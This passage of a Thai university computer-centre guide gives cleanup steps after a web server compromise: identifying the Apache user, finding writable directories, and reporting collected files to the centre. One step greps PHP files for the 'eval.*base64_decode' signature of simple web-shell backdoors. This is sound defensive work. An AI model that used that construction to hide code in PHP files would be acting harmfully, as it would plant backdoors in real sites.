    ให้เก็บไฟล์ /tmp/backdoor.tar และ /tmp/otherbackdoor.tar เอาไว้ เพราะในนั้น จะปรากฏ วัน เวลา และรายละเอียดของไฟล์เอาไว้ เพื่อจะใช้ในการ ตรวจสอบหาต้นตอ และช่องโหว่ของระบบต่อไป

    7. ตรวจสอบ Web User คือใคร
    ตั้งสมมุติฐานว่า ท่านใช้ Apache Web Server ซึ่ง จะมีชื่อ Process ว่า httpd หรือไม่ก็ apache (หากใช้ตัวอื่น กรุณาประยุกต์ให้ถูกต้องด้วย) โดยใช้คำสั่ง

    ps aux|egrep -i '(apache|httpd)' > /tmp/webuser.txt

    ผลที่ได้ ให้ดูใน column แรกของไฟล์ /tmp/webuser.txt โดยทั่วไปแล้ว
    CentOS/Fedora/RedHat จะได้เป็น apache
    Linux/Debian จะได้เป็น www-data
    แต่เคยเจอ บางระบบ ให้ user อื่นเป็นคนทำงาน ดังนั้น ให้ตรวจสอบให้เหมาะสมกับระบบตนเองด้วย

    8. ค้นหา Directory ที่ Web User จากข้อ 7. ที่สามารถเขียนได้
    สมมุติ Web User ที่ได้จากข้อ 7. ชื่อ www-data และ Document Root อยู่ที่ /var/www
    ให้ใช้คำสั่งต่อไป เพื่อตรวจสอบว่า มี Directory ใดบ้าง ที่ Web User ดังกล่าวเขียนได้

    find /var/www -user www-data -perm -u+w -type d > /tmp/webuser-dir.txt

    หากพบว่า มี Directory ในไฟล์ /tmp/webuser-dir.txt ให้ ทำการปิด ไม่ให้ Web User นั้นเขียนได้ หรือ เปลี่ยนเป็นของ User อื่นแทน วิธีการนี้ จะทำให้ Hacker ไม่สามารถกลับมาเขียน Backdoor เพิ่มได้อีก

    9. ค้นหา Backdoor พื้นฐานเพิ่มเติม
    ตรวจสอบอีกครั้ง เผื่อจะมี Backdoor อื่นๆซ่อนอยู่ (วิธีการนี้ เป็นเพียง Backdoor ง่ายๆเท่านั้น แต่ดีกว่าไม่ตรวจสอบอะไร)

    find /var/www -name "*.php" -exec egrep -l "eval.*base64_decode" {} \; > /tmp/knownbackdoor.txt
    

     

    หาก Google Web Master Tools ซึ่งทางศูนย์คอมพิวเตอร์ดูแล แจ้งว่า มี Website ใด ภายใต้ Domain psu.ac.th ถูก Hack ทางศูนย์คอมพิวเตอร์ ขอดำเนินการตามนี้

    1. ปิดการเข้าถึงจากภายนอก มายัง TCP Port 80/443 ยัง IP Address ของ Web Server นั้นๆ
    2. แจ้ง ผู้ที่รับผิดชอบ Domain ของ Website ดังกล่าว
    3. ให้ผู้รับผิดชอบ ดำเนินการ ตามขั้นตอนข้อ 1-9 ข้างต้น และ ส่งผลเป็นไฟล์ดังต่อไปนี้มา
      backdoor.txt
      backdoor.tar
      otherbackdoor.txt
      otherbackdoor.tar
      webuser.txt
      webuser-dir.txt
      knowbackdoor.txt
      มาให้ศูนย์คอมพิวเตอร์ ตรวจสอบ
    4. เมื่อตรวจสอบเสร็จแล้ว ทางศูนย์คอมพิวเตอร์ อาจจะขอให้ตรวจสอบด้วยคำสั่งอื่นๆ เพื่อให้แน่ใจว่า ไม่มี Backdoor อันตรายหลงเหลืออยู่
    5. เมื่อมั่นใจแล้ว ทางผู้ดูแลระบบเครือข่าย จะเปิดให้ ภายนอก เข้ามายัง TCP Port 80/443 ยัง IP Address ดังกล่าวได้เหมือนเดิม

    ขอให้โชคดี

    (ใครเอาไปทำแล้ว ได้ผลอย่างไร ขอความกรุณารายงานผลด้วย ขอบคุณครับ)